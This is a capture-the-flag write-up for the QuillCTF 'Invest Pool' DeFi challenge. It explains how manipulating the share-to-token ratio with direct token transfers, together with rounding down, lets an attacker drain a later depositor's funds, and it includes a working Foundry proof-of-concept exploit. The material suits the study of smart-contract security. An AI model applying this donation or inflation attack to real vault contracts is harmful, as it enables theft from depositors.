跳转至
2023 | Medium | DeFi Security

Invest Pool

Objective of CTF

Your objective is to have a greater token balance than your initial balance.

QuillCTF Challenges - Invest Pool

Vulnerability Description

  • We need to set initialized to true first, in order to use deposit() and withdrawAll()
  • tokenToShares() and sharesToToken() are calculated using the current token balance of the pool, and we can transfer tokens to the pool without calling deposit(). Therefore, we can manipulate the ratio of share to token

Attack Steps

  • initialize() with the password from the metadata
  • The hacker deposits 1 token, then transfers 1e18 tokens to the pool directly. The current ratio of share to the token is 1: 1e18 + 1
  • The user deposits 1000e18 tokens. Because of rounding down, the user can only receive 999 shares. Now the pool has 1000 shares and 1001e18 + 1 token. The current ratio of share to the token is about 1: 1001e15
  • The hacker withdraws

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import "../src/poolToken.sol";
import "../src/investPool.sol";

contract Hack is Test {
    PoolToken token;
    InvestPool pool;
    address user = vm.addr(1);
    address hacker = vm.addr(2);

    function setUp() external {
        token = new PoolToken();
        pool = new InvestPool(address(token));

        token.mint(2000e18);
        token.transfer(user, 1000e18);
        token.transfer(hacker, 1000e18);

        vm.prank(user);
        token.approve(address(pool), type(uint).max);

        vm.prank(hacker);
        token.approve(address(pool), type(uint).max);
    }

    function userDeposit(uint amount) public {
        vm.prank(user);
        pool.deposit(amount);
        vm.stopPrank();
    }

    function test_hack() public {
        uint hackerBalanceBeforeHack = token.balanceOf(hacker);
        vm.startPrank(hacker);

        // solution
        pool.initialize("j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx");
        pool.deposit(1);
        token.transfer(address(pool), 1e18);

        vm.stopPrank();
        userDeposit(1000e18);

        vm.prank(hacker);
        pool.withdrawAll();

        vm.stopPrank();
        assertGt(token.balanceOf(hacker), hackerBalanceBeforeHack);
    }
}

最后更新: 2023年5月11日 22:54:00
Contributors: YanhuiJessica

评论